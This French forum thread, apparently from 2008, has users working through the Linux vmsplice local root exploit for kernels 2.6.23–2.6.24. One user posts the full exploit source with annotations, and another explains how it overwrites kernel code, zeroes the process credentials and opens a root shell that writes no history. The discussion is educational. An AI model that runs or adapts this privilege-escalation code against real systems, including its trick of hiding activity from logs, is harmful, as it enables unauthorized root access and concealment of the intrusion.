Explication du code du local root exploit vmsplice

Bon, tout le monde se souvient du local root exploit de début d’année.

Le code est ici :

http://www.milw0rm.com/exploits/5093

J’essaye de comprendre ce qu’il fait mais je patauge. Quelqu’un pourrait m’éclaircir le code ?

Merci d’avance

quand il est sorti j’y ai regardé un peu
mais je n’avais pas spécialement envie de me décortiquer les lignes d’assembleur :laughing:

Je suis pas du tout un expert mais j’essaie de voir avec mes maigres connaissances ce que ça peux donner[code]/*

  • diane_lane_fucked_hard.c
  • Linux vmsplice Local Root Exploit
  • By qaaz
  • Linux 2.6.23 - 2.6.24
    */
    // Bon tous le monde connais ca charge les librairies
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/uio.h>

//La je suppose que ca doit etre des definition de constante
#define TARGET_PATTERN " sys_vm86old"
#define TARGET_SYSCALL 113

#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif

#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

#define TRAMP_CODE (void *) trampoline
#define TRAMP_SIZE ( sizeof(trampoline) - 1 )

//La c’est une analogie d’apres le nom du tableau et des commandes asm je dirais qu’il saute d’un point à un autre grace au mouvement de donées dans les différentes parties de la mémoire mais je peux pas en dire plus j’y connais que dalle en asm :smiley:
unsigned char trampoline[] =
"\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx /
"\x8b\x4c\x24\x08" /
mov 0x8(%esp),%ecx /
"\x81\xfb\x69\x7a\x00\x00" /
cmp $31337,%ebx /
"\x75\x02" /
jne +2 /
"\xff\xd1" /
call *%ecx /
"\xb8\xea\xff\xff\xff" /
mov $-EINVAL,%eax /
"\xc3" /
ret */
;

// je ne pense pas avoir besoin d’expliquer ca
void die(char *msg, int err)
{
printf(err ? “[-] %s: %s\n” : “[-] %s\n”, msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}

// ben ca récupere la cible il ouvre le fichier et va chercher la ligne contenant la chaine "sys_vm86old"
long get_target()
{
FILE *f;
long addr = 0;
char line[128];

f = fopen("/proc/kallsyms", "r");
if (!f) die("/proc/kallsyms", errno);

while (fgets(line, sizeof(line), f)) {
	if (strstr(line, TARGET_PATTERN)) {
		addr = strtoul(line, NULL, 16);// je ne connais pas strtoul donc je suppose qu'il récupere l'addresse
		break;
	}
}

fclose(f);
return addr;// et la retourne

}
//retourne l’adresse alloué dans la mémoire (toujours supposition)
static inline attribute((always_inline))
void * get_current()
{
unsigned long curr;
asm volatile (
“movl %%esp, %%eax ;”
“andl %1, %%eax ;”
“movl (%%eax), %0”
: “=r” (curr)
: “i” (~8191)
);
return (void *) curr;
}

static uint uid, gid;
// pour moi ca incrémente l’adresse suivant certains parametres qui doivent etre en relation avec les droits alloués (pointeur p qui récupere l’adresse et qui est incrémenté)
void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
	if (p[0] == uid && p[1] == uid &&
	    p[2] == uid && p[3] == uid &&
	    p[4] == gid && p[5] == gid &&
	    p[6] == gid && p[7] == gid) {
		p[0] = p[1] = p[2] = p[3] = 0;
		p[4] = p[5] = p[6] = p[7] = 0;
		p = (uint *) ((char *)(p + 8) + sizeof(void *));
		p[0] = p[1] = p[2] = ~0;
		break;
	}
	p++;
}	

}

int main(int argc, char *argv[])
{
int pi[2];
long addr;
struct iovec iov;

//récupére les droits
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");

if (!uid || !gid)
	die("!@#$", 0);

addr = get_target();
printf("[+] addr: 0x%lx\n", addr);//affiche l'adresse

if (pipe(pi) < 0)
	die("pipe", errno);

//la je ne sais pas j’aimerais bien par contre savoir si des tetes passent par la :smiley:
iov.iov_base = (void *) addr;
iov.iov_len = TRAMP_SIZE;

write(pi[1], TRAMP_CODE, TRAMP_SIZE);
_vmsplice(pi[0], &iov, 1, 0);

gimmeroot();// change les droits pour les droits root :D

if (getuid() != 0)
	die("wtf", 0);

// lance un shell :smiley:
printf("[+] root\n");
putenv(“HISTFILE=/dev/null”);
execl("/bin/bash", “bash”, “-i”, NULL);
die("/bin/bash", errno);
return 0;
}

// milw0rm.com [2008-02-09][/code]
Voilà c’est peut etre inexacte mais c’est ce que j’en déduis rapidement comme ca :smiley:

hum merci, car j’ai envie de l’expliquer en cours mais je galère un peu :wink:

En fait je ne comprends pas comme il arrive a chopper les droits de root.

iov.iov_base = (void *) addr; iov.iov_len = TRAMP_SIZE;

base : adresse de sys_vm86old
longueur : taille du code

C’est ces segments mémoires vont être projetés dans le tube pi[0].

Enfin ce n’est qu’une supposition et je ne comprends pas trop ce que ça fait :smt003

quand tu auras fait ton cours tu pourras me l’expliquer ? :wink:

Bon là, ce n’est qu’une simple supposition mais si il a les droits root dans cet accès de mémoire je suppose donc qu’il les conserve lors du renvois et donc si on fait croire que l’on reviens de cet accès là il nous garde les droits.

En gros avec la fonction gimmeroot() il arriverai à tomber sur une adresse qui lui file des droits root ?

Je suppose que oui mais je ne pense pas que ce soit un hasard ca doit etre une adresse spécifique qu’il va rechercher mais comment la c’est une bonne question.

Quelqu’un a un noyau avec lequel ça marche ?

ça serait cool si vous avez le .deb :wink:

si tu cherches des vieilles versions de certains trucs:
snapshot.debian.net/

ok merci je vais regarder

Mais si quelqu’un en a un sous la main directement je suis preneur.

J’ai trouvé un vieux cd de Etch : la r1, dessus le code suivant marche sans soucis et compile à l’aise.

http://www.milw0rm.com/exploits/5092

je sais pas ou vous en êtes dans le décryptage mais pour info, strtoul c’est “string to unsigned long”, et ce type peut etre utilisé pour une adresse (en 32 bits). Donc on dirait que c’est du spécifique 32bits (voir plus loin le symbole sys_vm86old = 113)

Si j’ai bien compris, /proc/kallsyms contient des symboles du kernel, donc dans get_target il récupère l’adresse du symbole sys_vm86old dans le kernel.

ensuite il créée un pipe (dirigé vers lui même par défaut) dans lequel il va écrire son code assembleur (que je decris plus loin).
tant qu’il ne le récupere pas (avec un read) ca reste là.

puis il fait syscall(__NR_vmsplice, l’entrée du pipe, la zone mémoire correspondant au symbole sys_vm86old, nr = 1, flags = 0)
d’apres un extrait de lwn.net/Articles/181169/ :

Donc j’imagine que ca va remplacer le code binaire a cette adresse du kernel par le contenu du pipe.

Puis on appelle gimmeroot soit syscall(TARGET_SYSCALL , 31337, kernel_code, 1, 2, 3, 4) et ca se corse
d’apres cs.fsu.edu/~baker/devices/lx … nistd_32.h
TARGET_SYSCALL c’est 113, aussi appelé… sys_vm86old

on va donc executer notre code assembleur :

unsigned char trampoline[] = "\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */ "\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */ "\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */ "\x75\x02" /* jne +2 */ "\xff\xd1" /* call *%ecx */ "\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */ "\xc3" /* ret */ ;
esp est le début de la pile (l’appel courant) donc 0x4(%esp) est le premier parametre, 0x8(%esp) le second…
on ecrit 31337 dans ebx (le second registre)
on ecrit l’adresse de kernel_code() dans ecx
si ebx est différent de 31337, on saute la ligne suivante (on n’execute pas l’appel)
on execute kernel_code
on met un code d’erreur (parametre invalide) dans eax (qui sert de valeur de retour ?)
retour

donc on va executer kernel_code si le premier parametre est 31337 et on renvoie de toutes facons un code d’erreur (ca evite que chaque syscall 113 lance un shell root, on se ferait griller tout de suite).
on passe a la suite :

[code]void kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
}[/code]

ca va changer les valeurs correspondant à uid et gid dans les données du processus courant en 0 (aka root:root) je suppose que ce sont les identifiants de celui qui lance le programme
puis on met les 12 octets suivants (3 uints) à 0xff, mais je ne sais pas pourquoi.
en tout cas le processus devrait etre considéré comme lancé par root, ce qui fait de nous le root.

on teste histoire d’etre sur avec le getuid() et on peste le cas échéant.

et enfin on lance un shell (toujours en tant que root) avec une petite subtilité : on n’ecrit plus dans l’historique pour etre invisible dans les logs.

merci d’avoir présenté ce cas, ca me change du boulot et j’ai appris plein de trucs :slightly_smiling:

Merci pour les explications.

J’ai fait ma présentation vendredi, je pourrais la mettre en ligne si certains sont intéressés. Cependant je suis resté assez vague et est surtout expliqué la faille au niveau du code du noyau.

je suis bien intéressé par la diffusion de ton boulot
je me coucherai moins bête après
et puis cela me pourrait permettre de montrer ça quand on me parle de sécurité

Voila :

http://www.galaxius.org/download/vmsplice-joined.pdf

Bon c’est pas terrible du tout, vous m’en excuserez.

Ta présentation est faite en Latex ?

plus que très probablement oui.

C’est jolie n’est ce pas ?

@themorice > J’aime bien ta présentation :smt002

Ouai j’aime bien c’est sobre, pas de superflu.
Je vais un jour apprendre le Latex, il n’y a pas mieux pour présenter des documents.

Ouep c’est fait en Latex.

C’est assez simple de faire une présentation clean rapidement.
Je met beaucoup plus de temps avec des trucs comme powerpoint